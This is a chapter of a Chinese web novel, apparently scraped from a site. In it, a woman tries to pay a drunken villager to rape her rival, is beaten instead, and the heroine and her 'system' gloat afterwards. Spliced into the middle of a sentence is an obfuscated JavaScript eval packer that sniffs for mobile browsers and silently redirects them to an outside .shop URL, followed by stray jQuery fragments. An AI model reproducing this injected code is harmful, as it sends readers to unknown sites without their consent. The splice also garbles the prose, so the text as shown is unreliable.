第二天一早,二赖子鬼哭狼嚎的哀叫打破了整个青水村的宁静。
他哭天抢地吼着有人暗算他,可围过去的村民左看右看,也就只看到他脑袋上鼓了个包,走路夹着腿,姿势有点古怪。
问他伤在哪,他又涨红着脸支支吾吾,半天说不出一句完整的话,到最后居然急得哭了出来。
村里人本来就烦他,见他这副样子,不仅没人同情,反倒暗地里都在嘲笑,还纷纷猜测他是被谁教训了。
没两天,闲话就传开了,说是二赖子的命根子,被人给废了!
真真假假的,没人能说清。
但从那以后,二赖子喝酒喝得更疯了,却再也不敢凑到姑娘媳妇跟前耍流氓,连出门都低着头绕着人走。
·
这些私底下的传言,林芷丝毫不知情。
她早就和知青点的人断了往来,跟村里人也聊不到一块,家里婆媳俩三天两头吵架,周峰又是个闷葫芦,不爱掺和这类事,因此这些家长里短的八卦根本没人说给她听。
她这会正满脑子盘算着,要怎么给明瑶一个教训,顺便搅黄她和齐钰的婚事。
想来想去,最管用的法子,还是找二赖子。
让二赖子毁了明瑶的清白,到时候别说齐钰会嫌她脏,绝不可能再娶她,就算有赵家人护着,她自己肯定也没脸再缠着齐钰不放。
林芷一点也不觉得自己恶毒,她这是以其人之道,还治其人之身。
赵明瑶当初能这么害她,她凭什么不能还回去?
眼看着新房一天天盖起来,房顶都快封上了,他们的婚期也越来越近,林芷再也等不下去。
这天傍晚,天刚擦黑,她揣上五块钱,避开家里人,偷偷摸摸在村尾一个没人的草垛旁,找到了喝得烂醉的二赖子。
林芷左右看了看,确认四周没人,这才轻手轻脚走上前,对着瘫在草垛上的二赖子压低声音道:“二赖子,我找你办件事,事成之后,给你五块钱!”
二赖子听到声音,醉眼惺忪地掀了掀眼皮,脸上却毫无反应,只含糊不清地骂了一句:“不干,滚!”
说完,他又抱起酒瓶子猛灌了一大口,喝着喝着,竟呜呜咽咽地哭了起来。
他的命根子啊!到底是哪个杀千刀的王八蛋,下手这么狠,直接断了他的根!他现在就是个废人,活着还有什么意思!
想到伤心处,二赖子忍不住攥紧拳头疯狂捶胸,发泄着心中的憋屈和苦闷。
林芷见状下意识往后退了两步,脸上的表情一言难尽。
这人喝酒喝疯了?
但想到自己的计划,林芷咬咬牙又往前凑了凑,蹲下身,低声道:“十块钱,只要你睡了赵明瑶,我给你十块钱!”
她以为加价到十块,应该足以打动这个见钱眼开的无赖。
谁知,二赖子听到“睡了”这两个字,原本微眯的醉眼瞬间睁大,像是突然酒醒了似的,猛地转头死死盯着林芷,眼神凶得像是要吃人:“你说什么?再说一遍!”
林芷只当他见钱眼开动了心,按捺住激动的心情又重复了一遍,声音压得更低:“我说,只要你找机会睡了赵明瑶,再让所有人看到,我就给你十块钱!这事很简单,你只要趁她一个人的时候……”
话还没说完,她就被一股蛮力狠狠掀翻在地。
后背结结实实砸在硬邦邦的土地上,磕得生疼。林芷惊愕抬头,就见二赖子红着眼睛扑上来,一把按住她的肩膀,劈头盖脸就是一拳。
“你这个臭娘们,是不是你?!”他嘶吼着,又羞又怒,声音都变了调,“是不是你干的?你还敢到老子面前提这种事,你是故意来羞辱老子的是不是?!”
林芷被打懵了,一时竟没反应过来疼,只觉得万分不解,她狼狈地躲开二赖子的拳头,又气又急道:“我干什么了?你在说什么,我听不懂!我是让你去羞辱赵明瑶,我没羞辱你!”
“老子现在就是个废人!”二赖子眼睛通红,抬起手就又给了她一拳,“你还让老子去睡女人,你还敢说没羞辱我!”
“?”林芷彻底呆住了,满眼都是震惊和茫然。
废人?什么废人?
她脑子一片空白,眼看着拳头又要落下来,拼尽全力一把推开二赖子。二赖子本就醉酒腿软,被推得往后一仰,半天没爬起来。
林芷趁机爬起来,捂着火辣辣的脸颊,声音慌乱道:“我、我不知道你……今天的事就当没发生过!”
说完,她跌跌撞撞一路狂奔而去,只留下二赖子躺在草垛里,发出狼嚎般的哭骂声。
路上,收工的村民们看见一个头发散乱、满身草屑的女人疯跑过去,纷纷停下脚步张望。
那女人双手紧紧捂着脸,看不清样子,但有眼尖的一眼就认了出来:“哎,那不是周峰家的,叫、叫啥来着?林知青?”
“她咋了?看着有点不太对劲啊。”
“该不会是疯了吧?我瞧着那样子,跟村头那个疯子有点像。”
“不能吧……”
“说不准!我跟你们说啊,前几天我坐牛车去镇上,刚好碰上了林知青,还有赵小六,这两人路上吵起来了,林知青说着说着,就跟发癫一样,浑身开始抖,看着可吓人了!”
“哎哟,那听起来真有点不太好了。”
“啧啧啧,年纪轻轻的,可惜了……”
林芷满心的狼狈和屈辱,根本顾不上身后的议论。
她一口气冲回家,放下手的瞬间,把周家一屋子人都吓了一跳。
周峰正在院子里劈柴,抬头看到她鼻青脸肿的样子,吓得斧头差点砍在脚背上。
他连忙放下斧头,把人拉进里屋,声音紧绷道:“你咋了?被谁打了?”
林芷支支吾吾:“没……我自己不小心摔的。”
周峰当然不信,这种伤,一看就是被打出来,不可能是自己摔的。
他脸色沉了下来:“你下午偷偷摸摸出去干啥了?回来就成这样了,你跟我说实话。”
“没啥,你别问了!”林芷低着头,语气烦躁地命令道,“你
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17899914|208705||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
把药酒拿来给我擦擦。”
周峰胸膛起伏几下,神色有些憋闷:“到底有啥事不能说?你脸都成这样了,我还不能问?”
林芷被他追问得烦躁不已,憋了一路的屈辱和难堪无处发泄,全都冲着周峰怒撒了出来:“叫你拿你就拿,问那么多干什么?跟你说了你也帮不上忙,你除了会干活还会做什么?废物一个!”
话音落下,室内一片寂静。
林芷愣了愣,下意识抬头看去。
只见周峰面色黑沉,一言不发地看着她,眼中看不出情绪。
林芷第一次看到这样的周峰,心里莫名慌了一下。
但随即,想起周峰平日的百依百顺,她又硬气起来,冷声命令道,“还愣着干嘛?还不快去给我拿药酒!”
沉默良久后,周峰终于动了。
他没说话,转身走出去,没一会拿了瓶药酒进来,往她手边一放,转头就往外走。
从头到尾,周峰都没再看她一眼,更没提要帮她擦药酒。
林芷看着他的背影,又委屈又生气,但也拉不下脸喊他回来,只能自己咬着牙,不太熟练地用手指蘸着药酒,往红肿的脸颊上揉搓。
力道不对,疼得她直抽抽,辛辣的药酒熏得她眼泪直流。
“该死的二赖子!”她咬着牙低声咒骂,“什么时候不废,偏偏在需要用的时候废了!还敢动手打我……”
林芷的眼中闪过一丝阴狠。
擦完药酒,她看着镜中狼狈的自己,丑得完全没法见人,心中恨意越发深重。
赵明瑶,都是因为你。
我不好过,你也别想有好日子过!
·
没过几天,村里又有新热闹。
二赖子再次被人敲了闷棍,这次是真的惨。
鼻青脸肿,胳膊腿都折了,被人发现的时候躺在沟里,醒来之后话都说不利索,整个人痴痴呆呆的,彻底废了。
他六十多岁的老娘坐在大队部门口哭得死去活来,要村干部们抓人偿命。
可既没人证也没物证,查了一下毫无线索,最后村里只能拎了点粮食上门,意思意思慰问了几句,这件事就不了了之了。
明瑶看完乐子,在心中道:[不愧是女主哈,下手比我狠,一个人就把他给收拾了。]
系统提醒道:[宿主你还乐呢,收拾完二赖子,她下一个目标就是你了!]
明瑶慢悠悠道:[那是以后的事,不耽误我现在乐。不管怎么说,林芷也算干了件好事,为民除害了。]
系统:[宿主,明明是你故意把二赖子留给林芷的。]
明瑶勾了勾唇角:[她如果不对我使坏心眼,也不会挨这一顿打,只能说是自找的。不过现在二赖子彻底废了,林芷应该会换个法子对付我,让我想想,会是什么呢?]
系统:[宿主放心,我会一直盯着她的!]
明瑶弯了弯嘴角:[既然如此,靠你了,小系统!]
她现在有更重要的事要做,新房盖好了,该去收房了!